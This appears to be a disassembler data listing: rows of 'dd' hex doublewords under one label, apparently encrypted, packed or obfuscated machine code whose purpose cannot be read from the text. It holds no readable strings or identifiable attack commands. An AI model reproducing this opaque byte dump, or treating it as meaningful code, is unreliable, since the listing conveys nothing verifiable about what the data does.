		dd 831CE6D6h, 1B56FD65h, 861909AEh, 0E1890CB7h,	86000000h
		dd 0FD942D16h, 9F7F59Fh, 3DCFD970h, 943F0888h, 339D218Ah
		dd 3331CAB3h, 66563FA7h, 534C039Ch, 16AF9C10h, 73AF617Fh
		dd 0F0B3298Ah, 89B327F0h, 34DB8519h, 5D421BC5h,	0E44AB918h
		dd 7E49D9C3h, 0B45BC7E5h, 0A16A623Dh, 0FB921A08h, 4B66E790h
		dd 420B815Eh, 982FBBA9h, 0B78D2BD7h, 0A48F0D0Ch, 8D4E520Bh
		dd 0EB198A8Bh, 713FCA81h, 64000000h, 49009968h,	0EC54064Bh
		dd 907C7033h, 0DD8450F7h, 0DD298A73h, 0D17811DFh, 29C2B020h
		dd 45DEA73Bh, 605C45ADh, 8AEBF992h, 98178C7h, 0E9E168Dh
		dd 0CC25AC45h, 9E695003h, 8573E705h, 0C908FEECh, 815A50E0h
		dd 0BFCB311Eh, 8C43C960h, 85F7E8E1h, 942D16B7h,	0EFA60E96h
		dd 0B7569C8Ch, 0D3DD960Ch, 1989C212h, 7CFB945Fh, 2ED03DD4h
		dd 0CC000000h, 0BF6D0AF5h, 7D7FDEDBh, 43900AD6h, 0D1BD218Ah
		dd 0F5E7B038h, 0E773710Ah, 0FDBA1060h, 6557FFFFh, 8FF0FE97h
		dd 10078847h, 48B2316h,	0EF7F598h, 8EEB7775h, 3345FA0Bh
		dd 0D3DD74C9h, 0E0C8E841h, 0DB73AEB4h, 0F4BD7E02h, 0B11B2189h
		dd 0A26C6039h, 5A198209h, 92D98075h, 8A76F94Fh,	0FF67F3F1h
		dd 0FF078C48h, 50132989h, 893F8750h, 8473E519h,	2DCC83EBh
		dd 20139DCEh, 46AEBC55h, 0C232CDB9h, 998E712Ah,	0F22B724h
		dd 0CF8CDA71h, 0B057F0DDh, 1CEA56F8h, 75FD6583h, 462843ACh
		dd 3BEDAE32h, 0A14B1989h, 0BDD60C14h, 0D6C68D16h, 0C9514FE8h
		dd 0D2EE9642h, 0FEEE2188h, 56D7B14h, 543DAF4Eh,	523DADBBh
		dd 0A73FABB9h, 6679563Fh, 0E58EB48Dh, 3D1654FBh, 0CAD8713Fh
		dd 4F01AB62h, 0F47C15DFh, 99E3C42Bh, 0AD5C12D1h, 0D9B67D26h
		dd 0BACED58Ch, 0B19B0B73h, 0EBA20A18h, 87896CEDh, 0DB8F7019h
		dd 78D7731Bh, 0EC5C9D34h, 0FC68861Fh, 4331AB74h, 9930BCAAh
		dd 82FE45FEh, 9876EB9h,	0C626AD17h, 19306EFCh, 56F90B60h
		dd 423E05DEh, 9878979h,	8932F37Dh, 28900987h, 0B67F1FC9h
		dd 0AC67761Dh, 0BBA94230h, 0FE10982Fh, 200EA792h, 5B04939Fh
		dd 268ED6CDh, 0E9D7D58Eh, 5ACA5250h, 62CAD871h,	57F0F0ABh
		dd 3B118720h, 76E57341h, 62E1FC43h, 0D819B038h,	0E3019A68h
		dd 6D26EF77h, 8DE1AA26h, 953F0186h, 8A23EEFEh, 57F0DBD1h
		dd 0AB2AE149h, 6C2DB3F0h, 0CA01868Dh, 96942D1Ah, 0F1EFA60Eh
		dd 99A83817h, 1EB781FBh, 0E8897577h, 0FE66841Dh, 6E069F6Eh
		dd 89854AB5h, 7CE72F43h, 84B04D5h, 6086BF88h, 1CB31D69h
		dd 796700CCh, 0DFCE3A0h, 0C2191703h, 475D1EBAh,	11BB6960h
		dd 0C320327Ah, 0C9C3BDF3h, 914AE27Ch, 460F91D2h, 0A469601Fh
		dd 0BD47953Ch, 0C16E460Fh, 0D3DFE82h, 319B6166h, 3B29C2B1h
		dd 67D918AFh, 7BE7059Eh, 0EB831CEBh, 32CBBA32h,	90595734h
		dd 0EE61660Dh, 767EE86h, 1E0CA593h, 3D2BC48Eh, 82AE1B56h
		dd 0D4544D7Ch, 0CD864FE8h, 660D02C3h, 51F86061h, 0E6D5C780h
		dd 5B26C64Dh, 0B038D1BAh, 6D06F5E7h, 0E5CF37Fh,	0D0695755h
		dd 21C34AD2h, 0A2636D57h, 61660Dh, 4C07D058h, 660D8344h
		dd 4AE3D061h, 9CCA81EBh, 88A63F08h, 9E8C2514h, 230DBAB7h
		dd 682B6829h, 660D9F68h, 0C753FD61h, 61660CFEh,	105DF45Ch
		dd 6B544897h, 0DEA93BD2h, 0D2BECF4h, 0EA896166h, 367B780Dh
		dd 0E54DE50Fh, 1BC293FCh, 219E3701h, 0BC2CECB3h, 439239D2h
		dd 4C5CB88h, 6261668Eh,	0A69153FAh, 5D421F0Dh, 933F4B23h
		dd 74131B32h, 6E576BC8h, 1FB88424h, 4B761F68h, 0BC8E67Fh
		dd 6643C485h, 2ABA2261h, 0DEA5C35Ch, 0A91A1693h, 7E17E2DAh
		dd 0B22D9AD7h, 0EE74D44Dh, 0B84F9536h, 15C45D28h, 0F293625Ah
		dd 0E8066E07h, 86E4A52Bh, 9A426166h, 61D7B12h, 7C15E153h
		dd 0C5B12BF4h, 36B63E2Ch, 34C0AE47h, 9814CD9Dh,	8B1715AEh
		dd 7718E404h, 6D7BF38Ch, 697710FDh, 697710F9h, 0D65A47A2h
		dd 90105310h, 218A94C7h, 9E8C2514h, 963DA716h, 0EF1EEDBh
		dd 32DAB076h, 85EC367Ah, 7C904CA9h, 32BA5321h, 96FE119Bh
		dd 881412ABh, 7A453720h, 0F0AB2AE1h, 0D17811FCh, 0B382230Fh
		dd 0A00C1Ah, 4C159D36h,	0F7C06150h, 2769D65Eh, 47553BDh
		dd 0EDB63FD6h, 0FD612AA6h, 0DBF2189h, 8A41A942h, 0A36C5501h
		dd 0BC881C0Ah, 402F0523h, 0D8C1A987h, 3D3DCEF7h, 0AB3CB952h
		dd 0A67EED4h, 1EBF8B9Dh, 47109831h, 0C9F1B368h,	0E46B5544h
		dd 5928A4DFh, 0EDD709C0h, 0F9E7804Ch, 0AC20F971h, 0DF8F46DFh
		dd 763F4102h, 0D4218A2Bh, 2EF7E56Ch, 7B218A2Bh,	79E9F790h
		dd 0F6F48Dh, 6258D8D1h,	0BB542399h, 0D9A545ADh,	0E3DC8940h
		dd 1EB780FCh, 0FBEDA410h, 0EA837011h, 0C0369982h, 7D9BE0C9h
		dd 5ECE0FC6h, 4CE5D273h, 8F0DC6E4h, 0A13A04A5h,	918F1783h
		dd 90568209h, 0E5218A93h, 0F7907A1Bh, 13E1716Fh, 78F08972h
		dd 0CB5B46Ah, 0C32C6724h, 3A48396Eh, 95D07740h,	4C39B32Ch
		dd 1CC1CB3h, 0EFFD9660h, 0BA32EB83h, 0A83432CBh, 85F7B021h
		dd 0A30F1DB6h, 83A13A03h, 56647017h, 0B3218AB3h, 6F08F2EAh
		dd 9B58F471h, 954904BCh, 1205761Dh, 2004B7C3h, 8F46DFACh
		dd 0FFFE7A82h, 612BA1FFh, 0D058F1C0h, 0DBC96250h, 0F5DCB84Fh
		dd 0AC750EF7h, 8A946324h, 7017C121h, 11F68470h,	0D4AA0F13h
		dd 12821199h, 21BA8526h, 43392289h, 0B434DB74h,	0C25B27C8h
		dd 9C8E712Ah, 42F7B466h, 72F2FB92h, 0BF29FB89h,	0AED469FDh
		dd 0C6B42846h, 0F423F2Dh, 380B9E92h, 18EC7A44h,	0CFA36C18h
		dd 0BAB75ED6h, 0EEDAD20Dh, 622EBE55h, 22F432D4h, 46C7281h
		dd 3CD5A11Bh, 2E752E95h, 8A85E9B2h, 444C4721h, 218A8583h
		dd 58EF77E1h, 0B7876B17h, 624F4D04h, 508D04D4h,	0A50D56B4h
		dd 99741B87h, 0BAh, 6A121976h, 21A488C8h, 45ADBB54h, 0F57A26ADh
		dd 0DA710AF7h, 98740D2h, 218A9440h, 0E5BE369Eh,	9459229Eh
		dd 0D8A6218Ah, 3AB9213Fh, 20A0FB92h, 298A7370h,	0FA937C70h
		dd 0F3E9A253h, 24E5710Ah, 821989B3h, 0CA8952DAh, 89B305C6h
		dd 52F96319h, 3B84B09Bh, 39A9B750h, 0CFB6B44Dh,	980B25A2h
		dd 4DE6D5C7h, 0E1FEABC6h, 9A8821EBh, 1F317B12h,	50A668C2h
		dd 3AB26C0Fh, 7A06B61h,	605C1780h, 8553FA93h, 2189ECDDh
		dd 7836F2DDh, 7069FDE2h, 16BB18D9h, 37FB902Bh, 40D9A646h
		dd 2CB4EFA8h, 1188A16Bh, 942D17C9h, 0EFA60E96h,	0E6D1CBD8h
		dd 3CD35F4Dh, 0BE3Ch, 0AEF54000h, 8A946932h, 761DC721h
		dd 0E3AC1C3Eh, 58D05C4Ah, 0FCC8C47Fh, 36DD4563h, 8A73FAAAh
		dd 0B682FA29h, 0ECA30F1Dh, 0CD8E120Dh, 2B1989B4h, 7C7029C1h
		dd 9950F790h, 6700CEBEh, 478AA7E0h, 57F0DD7Eh, 7541D1CFh
		dd 1918CEDCh, 7DC8BB0h,	0D0C6AD6Ah, 82C17A58h, 89F53DFEh
		dd 9A319B19h, 0FC1ED2CFh, 71BE7D9Fh, 0FE76EE09h, 99625E25h
		dd 0F7198A66h, 0C4E27B45h, 6650D058h, 0BC53DFCDh, 0DDE3A0E3h
		dd 198A661Ch, 9D3BD27Ah, 218A45F5h, 6932AEF5h, 0C7118985h
		dd 258D2615h, 0FCE58F6Eh, 85703937h, 26CE1189h,	6D24BD86h
		dd 8A064D56h
		dd 118985C1h, 0EADDC01Fh, 9F3424CFh, 0F5148007h, 2AEBF5AEh
		dd 88218A94h, 947334E0h, 5FD1218Ah, 572FA93h, 8C33B3FFh
		dd 9848FFFFh, 524A13ACh, 4AD2D069h, 9E6A3C3h, 527D19BDh
		dd 0DE0EC5EEh, 0C8059F2h, 0B120A740h, 72333DF6h, 0D0218A53h
		dd 0A6B27073h, 961EADD7h, 33A3B5FFh, 2AB2B049h,	15E3D9C2h
		dd 89CAD57Ch, 0B9872813h, 129A0220h, 347E4749h,	74DC218Ah
		dd 2181FFDDh, 6F6D2670h, 6C1DF684h, 0BE566D03h,	0DBA43836h
		dd 584DAA42h, 0DFC36A19h, 85E213BAh, 0D2D7005Bh, 189881E1h
		dd 1990774Fh, 0F2AB43ADh, 77662FB1h, 1CC41990h,	571CF575h
		dd 90779059h, 0CF86EE19h, 90774411h, 14AD9919h,	23BC8616h
		dd 8C352C05h, 0BD76B9A4h, 9076F2B3h, 61E85019h,	0FF449B04h
		dd 7925BE8Dh, 199077B0h, 697710FDh, 43CA7201h, 4D914030h
		dd 8B7A7203h, 9A8821EAh, 16F39A12h, 92h, 723892FDh, 540D4A0h
		dd 7F169E37h, 0CF7F521h, 66ED7573h, 7B64CC4Eh, 5932D7B8h
		dd 0D7F7222Ch, 0ABD2A430h, 7DB6266Fh, 8F6932F3h, 0A1289019h
		dd 50199750h, 0B0198F69h, 0F1093503h, 15BF3E5Eh, 0D583444Ch
		dd 77E1198Eh, 0CAB626EFh, 2AC25B29h, 4919B03Ch,	8ED508CDh
		dd 0E6745D19h, 0EAE6959Ah, 5238B59h, 1311AA95h,	922B1787h
		dd 524FBA94h, 910E03DEh, 0CA8B154Eh, 28198EC7h,	0BA6609C0h
		dd 7C034C45h, 1828BE13h, 87BA4Ah, 18E05h, 0AF50700h, 5E9A24AEh
		dd 0F18A77A2h, 2612D279h, 5AA58298h, 9810394Dh,	0DDFAE0BFh
		dd 49C0972h, 48441D4Dh,	5EC6E47Dh, 0A54635B7h, 0B44D3BDCh
		dd 2EC62EB6h, 0E9B22E75h, 47218A61h, 0EB8E209Dh, 7595E5Eh
		dd 8672E280h, 4E53149Ch, 7B1218Ah, 0ED9B69Fh, 8FEB4CF5h
		dd 0B32747CEh, 0C15A26C7h, 34BC5521h, 8F2EAA5h,	70FCD86Fh
		dd 782189B0h, 819F3804h, 88E86C24h, 0A60EA523h,	7011FDEFh
		dd 9881E982h, 4414D5DBh, 0CA72218Ah, 56229243h,	596863C8h
		dd 78F0F45Fh, 0C65F2D9Fh, 81935F0Fh, 7A48441Dh,	6F712AE1h
		dd 2670387Dh, 0A43D0B81h, 86771E86h, 0E74693E9h, 0AA236D1h
		dd 21FF6E51h, 0D5656A91h, 9FE49F3Eh, 90825821h,	870EB619h
		dd 0CEBB2B2Dh, 32CBB535h, 1CEBE1BAh, 0EBF9927Bh, 7CF9E77Fh
		dd 1932D4F2h, 55FC744Eh, 4940464Ah, 3EA61E7Dh, 99497A65h
		dd 14FA4FDFh, 6B61227Dh, 608007A0h, 6E07F091h, 0D69F1D06h
		dd 0B5B34C35h, 3BA7C52Dh, 0E4D34594h, 8B4D984Bh, 8161CCAh
		dd 43824h, 48E1A900h, 0D46D57C9h, 4CE5D345h, 0D56E5BCDh
		dd 4EE7D646h, 0AA183ECFh, 219342DBh, 0A010BF58h, 2B9D3CD5h
		dd 0BC17C65Fh, 82F0B9B7h, 854E1989h, 0CF7F51Bh,	0BE0C727Eh
		dd 0AF37876Eh, 60F9C818h, 8A8C1877h, 6AAA5750h,	0B682F2E3h
		dd 95932C15h, 0BA33C05h, 9B13AC9Bh, 8C5C43FCh, 33F47C39h
		dd 912189DCh, 1EC3CA27h, 0F54553FAh, 946932AEh,	1DC7218Ah
		dd 0BF1C3E76h, 535DD4F5h, 2189A792h, 2FEB48F0h,	0FBE44CF4h
dword_612D20	dd 0B19B281h, 31AFE89Fh, 266FBA57h, 0DE77413Bh,	0BC29C637h
					; DATA XREF: ___:off_444538o
		dd 76C23E6Dh, 845D4BE3h, 84AD3B08h, 83247E98h, 0F6E26901h
		dd 198F6031h, 0E397F83Bh, 0DC52FB66h, 7A2742C9h, 0FF986765h
		dd 4C7B2748h, 0F63D034Ch, 14A7C699h, 0F4A03829h, 198EA333h
		dd 65A02791h, 1CAh, 4F3E9AAh, 69F57D6Bh, 198EA3A0h, 0E1BF56FEh
		dd 7009F7F5h, 8163EA72h, 4C5CBB5h, 62218A94h, 0EAA972FAh
		dd 8A9425E6h, 0F8E48321h, 46B57CBBh, 0F76FCC64h, 0C1C975Dh
		dd 0C25210B7h, 0B815AF3h, 4E37A740h, 0A42BB7B5h, 5BB64AC6h
		dd 0E1BE218Ah, 349CCECEh, 6FB2B040h, 0EB94F5Ah,	11FDEFA6h
		dd 2DC6B527h, 8A84E8B1h, 169E4621h, 0B9DB624Dh,	0E3EC99Dh
		dd 1F9D5687h, 41A9B750h, 846E5A8Ah, 8A593BFCh, 0B72F9921h
		dd 8324EEDEh, 0A50D1BB4h, 0FC931F0Dh, 0F2EEB56Eh, 218A5929h
		dd 7E36DD87h, 0DC9D23DCh, 3A218A59h, 4B411A92h,	732CE37Ch
		dd 0AC6D7330h, 0A218A59h, 432DAB62h, 4726704Ah,	0D1CF6855h
		dd 8133C249h, 9F0B19B2h, 6F5E4E07h, 0C54CD8D6h,	96615B14h
		dd 0BC5E56FDh, 0F9E7804Ch, 6320F971h, 0E965BF20h, 8E612149h
		dd 8FE64912h, 3F87A919h, 0A57E6673h, 0AF36B916h, 81B5E864h
		dd 0D37662E9h, 0DB1E7D57h, 74F1898h, 3BAD1193h,	2DB5B34Ch
		dd 7DEF0EC5h, 9F6AFA93h, 0EEB56E06h, 6E7C15FEh,	76A2BB5h
		dd 20C81193h, 10DF0188h, 0B419E77h, 7C3D4370h, 0DA1192F1h
		dd 444F0572h, 30A031D8h, 90595741h, 0F01192F0h,	6C20ECAh
		dd 0A048A7A4h, 84145508h, 49E51CCAh, 1F869h, 8A16900h
		dd 942D1789h, 0CA59305h, 952E1B8Dh, 0EA79606h, 0EAD8FE8Fh
		dd 61D3821Bh, 0E050FF98h, 6BDD7C15h, 0FC57069Fh, 81B079F7h
		dd 450E1989h, 9F7F55Bh,	63EA7270h, 2711B281h, 0F574318Eh
		dd 30F4A596h, 23EDDFB8h, 79109C8Ah, 642D9F58h, 2E35ED6h
		dd 41A9D384h, 0CD6E5A8Ah, 14CD65FEh, 860980ABh,	0C74E5FE7h
		dd 0AEF55A16h, 8A946932h, 2EC7B621h, 7E6E25CFh,	0BF20F992h
		dd 0B6B954F5h, 4DE6D16Bh, 0AC402EE5h, 0B17AF6E0h, 11218A36h
		dd 0A39653B4h, 19C33214h, 0C8E7C891h, 2D6AB6C4h, 7A35A42Bh
		dd 35F67AB9h, 93218996h, 96ECAD29h, 0A24A2189h,	6C0DF9EBh
		dd 0CF0014A2h, 76D0D3D4h, 0EC84F0FEh, 0A7707033h, 52189E2h
		dd 6A25B45Bh, 0B0298285h, 59F05111h, 422BB87h, 0EEB17984h
		dd 70FECA63h, 0A1163C76h, 0AEBC3432h, 62C4523Eh, 5C3C5279h
		dd 0BD8B9911h, 653BF5B2h, 3CD5A01Ch, 620FC62Eh,	0B7B97A65h
		dd 0DF23B4EEh, 6474AF4Ch, 0A3163A9Ah, 9864840Bh, 0A77009F7h
		dd 23EE6029h, 9E16BEDFh, 6BF9C7C5h, 0B9D7D4AFh,	14129A6Fh
		dd 9018B180h, 0AD1FD8F9h, 0DF7843E4h, 5420C047h, 99A5666Ah
		dd 5903DF23h, 0A99408D1h, 9645A310h, 0ACFF5B1h,	0B626E383h
		dd 19E2DEC8h, 77DF2464h, 0DB4765CDh, 15125B5Eh,	0FC934434h
		dd 957E1FECh, 44AB74FCh, 1FAA640Ah, 3737DE6Dh, 81FF443Dh
		dd 0DF2449B8h, 4A27AE16h, 0AC1D825Dh, 0E96436A2h, 9F686831h
		dd 0FDDF23EDh, 602CBC53h, 0A563F1BFh, 0CCAD181h, 2CF57DF5h
		dd 0A128C1B0h, 36057730h, 0AF6F69Dh, 9FD7A020h,	8B35DF23h
		dd 77423A23h, 5A3737DEh, 0EEFC9562h, 2AADCF86h,	0F4000000h
		dd 9D230DF8h, 0DF239FDCh, 731A923Ah, 4B0AF525h,	561FA195h
		dd 0B42189E5h, 7D78AF0Ch, 0E8AB048Bh, 65B0D907h, 0C87F01E8h
		dd 0BD563ECCh, 0B64F3BAFh, 0C05924B8h, 0B04932A2h, 0BA5322B2h
		dd 0B04938ACh, 0BC5522B2h, 0B7503EAEh, 0B64F39A9h, 6A68F7B8h
		dd 89000003h, 0EC68243Ch, 8900004Eh, 8953240Ch,	4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 2434895Ch, 37F9BD55h, 0CEB9522Bh
		dd 295A2C1Ah, 242C8BE9h, 4C481h, 8B540000h, 0C4832434h
		dd 64B36804h, 1C890000h, 89CB8924h, 0FF5B085Eh,	835E2434h
		dd 0C8B04C4h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 0C68FE95Ch, 35FFFAh,	766A5761h, 729E47AFh, 4AED4794h
		dd 115F2B8h, 0FFC50308h, 745E5EE0h, 7552C11Fh, 0DBFE2279h
		dd 0CDD38C39h, 55A7FA17h, 0AA51B615h, 0BBC08B3Eh, 66895E00h
		dd 16D1BD83h, 750007FAh, 35BD8309h, 7FA35h, 53501974h
		dd 0FCB8C08Bh, 89000003h, 0FA1E2D85h, 0DA9D8D07h, 0FF07FD3Fh
		dd 83585BD3h, 0FA3535BDh, 17740007h, 0FCB85350h, 89000003h
		dd 0FA1E2D85h, 0C99D8D07h, 0FF07FD3Ch, 6A585BD3h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 3958C352h, 7CF7F148h, 0CFB78703h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 14C35242h, 792F3FFBh, 0C08BA93Eh
		dd 8357D380h, 0FA27ADBDh, 840F0107h, 55h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 15h, 93C35646h, 0F8B2522Ch
		dd 75BD835Ah, 7FA1Eh, 27850Fh, 8F0F0000h, 8, 0DFB70F60h
		dd 61F18B66h, 9EDBD83h,	0F0007FAh, 7184h, 7E900h, 23AF0000h
		dd 0B0D7A9D4h, 405E957h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 5B3E1BC3h, 0BDE5252Fh
		dd 0F9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 32C14E37h, 92438A06h, 0EE9035Bh
		dd 0A8000000h, 98FC2594h, 0A66BA53Bh, 70F51053h, 50CAFC9Ah
		dd 0EDA2ACD4h, 0D87B4DDh, 0E5E8B4B4h, 0BBB7EA97h, 0E11EC03Eh
		dd 0E139F036h, 0E58EB4ADh, 0D984E2F1h, 564F3020h, 605CC76Ch
		dd 0E2156B59h, 0D23B4DDh, 0E53AB4B4h, 0BADEEB97h, 0E1AAC83Eh
		dd 0E163F036h, 0E5A3B4ACh, 0E12E3F0h, 0D0909F89h, 6EB3F6A9h
		dd 0CEA4B6Eh, 0E51DB1A6h, 0E58EBC5Fh, 305249B7h, 0C08587C0h
		dd 7C160E11h, 0B0B2CA0Eh, 0E574B45Fh, 8BBE9B7h,	0ED1CACDEh
		dd 0E58EBA5Eh, 8AE8DAB7h, 0F932E6B9h, 0DDF9109h, 577FC87Ch
		dd 1DB43FE7h, 6835D427h, 0E51DB4B5h, 3F04653Ch,	3BCCE4D6h
		dd 0E5AD5D27h, 95EB4B7h, 0B39FE6BBh, 58B79871h,	0F0A986EBh
		dd 0C151B5B8h, 0E5875D49h, 39C5B4B7h, 0E5A91E6Ch, 0BDA5419Bh
		dd 0E0330BB8h, 0E574B6BBh, 0D6BB4DDh, 0E51DB4B4h, 0BC4DED97h
		dd 0E163F83Eh, 0E187F036h, 0E5D1B4ACh, 0C42BE5F6h, 4AEA2E66h
		dd 6E1F4168h, 0E5145DBFh, 8A8DB4B7h, 2B4D54A5h,	83628B7Ah
		dd 8F2DFC3Ch, 0E600E1B7h, 0C574B4B7h, 6C6777EAh, 641990DBh
		dd 0F28A90F3h, 0A047B4B7h, 8AA177E2h, 385B7C4Ch, 0E5E8B50Fh
		dd 26F5D2B7h, 0E9D3A8B0h, 651DB4B7h, 4AA13145h,	0C617F4D1h
		dd 74FAD9B0h, 0B4816E3Ch, 150D2D7h, 848A3EECh, 0E55025EDh
		dd 0E51E5CE1h, 0BBAEB4B7h, 91CEEA74h, 0A122B093h, 0E5CAB093h
		dd 0B3AEB4B7h, 0C4861074h, 2EE7981Fh, 0E5125CE4h, 737DB4B7h
		dd 0C33BD806h, 0D90FEC4Fh, 6D0B46A8h, 0E5EE5DC7h, 0AD25B4B7h
		dd 38BBBFAEh, 3C91D2EDh, 0E14F424Bh, 0E40B31B8h, 0E5C9B4B7h
		dd 0E5D25CE1h, 0BBC8B4B7h, 91FDEA74h, 0A1BBB093h, 0E50AB093h
		dd 0B3C8B4B7h, 375EA574h, 0FE29BB87h, 0EAD1B4B7h, 0E5E8A13Bh
		dd 0E5645DB7h, 0ABC8B4B7h, 45225221h, 7CC421BEh, 12C7E6E0h
		dd 8FFA3DF2h, 0E639E4B7h, 0C5E8B4B7h, 6C2C77EFh, 643E90F3h
		dd 0FF1990F3h, 0A58EB4B7h, 0CD0D77E7h, 0D84A570Ah, 0E75DBB1Fh
		dd 56E8B4B7h, 8D4D34D8h, 0E45031B8h, 0E577B4B7h, 0E58D5CE7h
		dd 0BD67B4B7h, 0A12AEC74h
		dd 0A150B093h, 0E5FCB093h, 0B534B4B7h, 0F6D34774h, 0AE1DB4B7h
		dd 29D9F752h, 0D7FF1537h, 74E9A9A0h, 4C0B2953h,	9C63969Ah
		dd 0E7FBBBB6h, 533AB4B7h, 0E5E235F2h, 0EA0EB4B7h, 0E546AB35h
		dd 0E5AB5DB7h, 0EB26B4B7h, 4451C49Dh, 60B39840h, 0ED3BA30Eh
		dd 0E51DB4B6h, 0BF77E6D7h, 84960BB8h, 0E5A2AA5Eh, 0B0D1DEB7h
		dd 0E5E8B75Fh, 262994B7h, 0C1563DEAh, 0C15935B3h, 0E58EACB3h
		dd 2612F1B7h, 4089B1D1h, 0E5075D53h, 0E582B4B7h, 0E5775CE5h
		dd 0BF1AB4B7h, 0B194EE74h, 0A10FB093h, 0E55CB093h, 0B7E1B4B7h
		dd 0A21AB574h, 8CF1F2DDh, 0E57E5CBEh, 8A8CB4B7h, 5E49218h
		dd 16694C1Ch, 0E547B35Eh, 0EF336DB7h, 35ABDA9h,	54CD0EEDh
		dd 8F2D9789h, 0E6D2E4B7h, 0C51DB4B7h, 6CD677EFh, 644390F3h
		dd 0F9A790F3h, 0A5D1B4B7h, 8CCB77E7h, 104CE814h, 657796BFh
		dd 667BB941h, 0EA71BFCEh, 0E547EB33h, 0B5A3DEB7h, 0E5D1B75Fh
		dd 26B094B7h, 0C1303DEFh, 0C17E35B3h, 0E51DACB3h, 26DEF4B7h
		dd 6BCA12CAh, 3222D441h, 0F04A7F18h, 0DFFA0BD1h, 88870ED6h
		dd 60FDA9AEh, 0ED1CA30Eh, 0E58EB4B6h, 0D17B4DDh, 0E5A3B4B4h
		dd 0BD12EC97h, 0E1CCF03Eh, 0E150F036h, 0E53AB4AEh, 0D9DEE4F7h
		dd 96A6741Bh, 0D9A13469h, 0B7A3DEFFh, 0E5D1B75Fh, 26B294B7h
		dd 0C1203DEDh, 0C17E35B3h, 0E51DA2B3h, 26DCF6B7h, 83DAA869h
		dd 5C290E0Dh, 0EC568911h, 0F858313Ah, 58F9BCB6h, 0ED3BAF00h
		dd 0E2694C8Ch, 2C5FBB87h, 8FB25FF0h, 0E64BE6B7h, 0C5D1B4B7h
		dd 6CB277EDh, 647090E3h, 0FC3E90F3h, 0A71DB4B7h, 59B277E5h
		dd 0BA11DAC9h, 0E5A231B8h, 6629B4B7h, 1FCF190Ah, 617BB5B0h
		dd 0E53AB4D7h, 0E51DA65Eh, 0B4A8E3B7h, 0AD5F21D0h, 5900BD51h
		dd 858343A0h, 66D4E60Ch, 1F6AC10Ah, 6035B4B0h, 0E51DB48Bh
		dd 0DD9B4DDh, 0E547B4B4h, 0BA60EB97h, 0E1F5C83Eh, 0E1CCF036h
		dd 0E574B4AAh, 0C8F9E3F0h, 0ABEE7633h, 2ECE93D2h, 349D35A3h
		dd 669A259Ah, 1FD8590Ah, 61E7B4B0h, 0E574B485h,	0F7260ED1h
		dd 0E51CA45Eh, 0B08EDEB7h, 0E547B75Fh, 26FE94B7h, 0C1BD3DEAh
		dd 0C1AC35B3h, 0E574A3B3h, 266FF1B7h, 1C656BCBh, 0E58A3CB8h
		dd 5E21B4B7h, 5820F7E0h, 0E22B931Ah, 9F6DBBB6h,	0C74B4B7h
		dd 0E53AB4A6h, 0CA95FBA3h, 0B665CE1Fh, 47F33F30h, 1315FEA7h
		dd 0E5BBE946h, 0E5EB5CE5h, 0BF54B4B7h, 0B1B3EE74h, 0A19CB093h
		dd 0E599B093h, 0B705B4B7h, 17A6A74h, 0E5BB7792h, 0E5EB5CE0h
		dd 0BA54B4B7h, 99B3EB74h, 0A19CB093h, 0E599B093h, 0B200B4B7h
		dd 110DF374h, 131A34C9h, 0E5E8C85Eh, 0B274DEB7h, 0E53AB75Fh
		dd 264294B7h, 0C1F23DE8h, 0C10335B3h, 0E5A3A0B3h, 2686F3B7h
		dd 0E582E928h, 0E5775CE6h, 0BC1AB4B7h, 0A994ED74h, 0A10FB093h
		dd 0E55DB093h, 0B4E2B4B7h, 829CE574h, 68385536h, 0E4FBBBD7h
		dd 193AB4B7h, 22CF35D1h, 8F41D514h, 0E6AFE7B7h,	0C5A3B4B7h
		dd 6C8A77ECh, 64EC90EBh, 0F87090F3h, 0A63AB4B7h, 66EE77E4h
		dd 0AD1D03EAh, 0C8B04CACh, 0D0194CD7h, 84B1D74Eh, 1355394Eh
		dd 687CB5A0h, 0E427C93Ah, 0B9000CBFh, 60BDCF8Dh, 0E2BDA87Eh
		dd 115C7B9Ch, 3AEC5689h, 0B6F85831h, 58F9BCh, 8CED3BAFh
		dd 87E2694Ch, 0F02C5FBBh, 5E9835Fh, 0BD83A4F3h,	80117B9h
		dd 8D0D7400h, 0FA4F538Dh, 1B807h, 0E1FF0000h, 52006A40h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0B6EF30C1h, 8A9BA281h, 2DE883F4h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 38C35242h, 0EE968648h, 0C9C7802Ch
		dd 0D9B2C08Bh, 16D1BD83h, 750007FAh, 35BD8309h,	7FA35h
		dd 53501974h, 0FCB8C08Bh, 89000003h, 0FA112D85h, 419D8D07h
		dd 0FF07FD40h, 83585BD3h, 0FA3535BDh, 17740007h, 0FCB85350h
		dd 89000003h, 0FA112D85h, 0E29D8D07h, 0FF07FD3Ch, 6A585BD3h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0F7F0C355h, 0DA8B66B5h, 8D8DC08Bh, 8011F3Dh
		dd 3339BD8Bh, 8D8907FAh, 7FA27C1h, 1C0185C7h, 6BB807FAh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0E9C135C3h, 0Ch, 1261552Eh, 0B1B73BD2h, 77BC0343h
		dd 0C7EFEF80h, 0FA1AED85h, 7, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0C5188872h
		dd 0EEA4C5A6h, 57E7BB52h, 0B5FF129Dh, 7FA2429h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 87C35141h, 0E92CE70Bh
		dd 12h,	2CF9004h, 1298BDE7h, 0ED3F4923h, 0ECAC68B2h, 0BD8B8EBBh
		dd 7FA1E09h, 177D95FFh,	6A07FAh, 12D95FFh, 0C08B07FAh
		dd 77AE4AEBh, 0CB0834C2h, 4291805Ch, 648A0170h,	1115D122h
		dd 0EADD4553h, 20BDFF13h, 257954D5h, 0C29041CFh, 0E9081207h
